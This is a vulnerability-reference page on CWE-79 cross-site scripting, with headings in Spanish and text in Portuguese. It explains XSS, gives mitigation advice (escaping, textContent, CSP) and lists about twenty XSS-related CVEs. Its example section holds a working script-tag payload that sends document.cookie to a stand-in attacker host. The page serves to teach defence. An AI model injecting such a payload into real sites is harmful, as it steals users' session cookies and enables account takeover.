Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-0963MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2025-51403MEDIUMA stored cross-site scripting (XSS) vulnerability in the department assignment editing module of of Live Helper Chat v4.60 allows attackers EPSS 1.6%CVE-2024-35266HIGHAzure DevOps Server Spoofing VulnerabilityEPSS 1.6%CVE-2021-26636HIGHMaxboard Remote Code ExecutionEPSS 1.6%CVE-2021-24657—Limit Login Attempts < 4.0.50 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.6%CVE-2024-35267HIGHAzure DevOps Server Spoofing VulnerabilityEPSS 1.6%CVE-2018-8650MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2022-25630MEDIUMAn authenticated user can embed malicious content with XSS into the admin group policy page.EPSS 1.6%CVE-2021-41165HIGHHTML comments vulnerability allowing to execute JavaScript codeEPSS 1.6%CVE-2022-0148—All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 1.6%CVE-2019-1134MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2019-0830MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2019-0831MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2021-21422HIGHXSS Vulnerability in mongo-expressEPSS 1.6%CVE-2020-12021—In OSIsoft PI Web API 2019 Patch 1 (1.12.0.6346) and all previous versions, the affected product is vulnerable to a cross-site scripting attEPSS 1.6%CVE-2020-1454MEDIUMThis vulnerability is caused when SharePoint Server does not properly sanitize a specially crafted request to an affected SharePoint server.EPSS 1.6%CVE-2023-22462MEDIUMStored XSS in Grafana Text pluginEPSS 1.6%CVE-2019-15587—In the Loofah gem for Ruby through v2.3.0 unsanitized JavaScript may occur in sanitized output when a crafted SVG element is republished.EPSS 1.6%CVE-2022-0147—Cookie Information < 2.0.8 - Reflected Cross-Site ScriptingEPSS 1.6%CVE-2024-32077MEDIUMApache Airflow: XSS vulnerability in Task Instance Log/Log DetailsEPSS 1.6%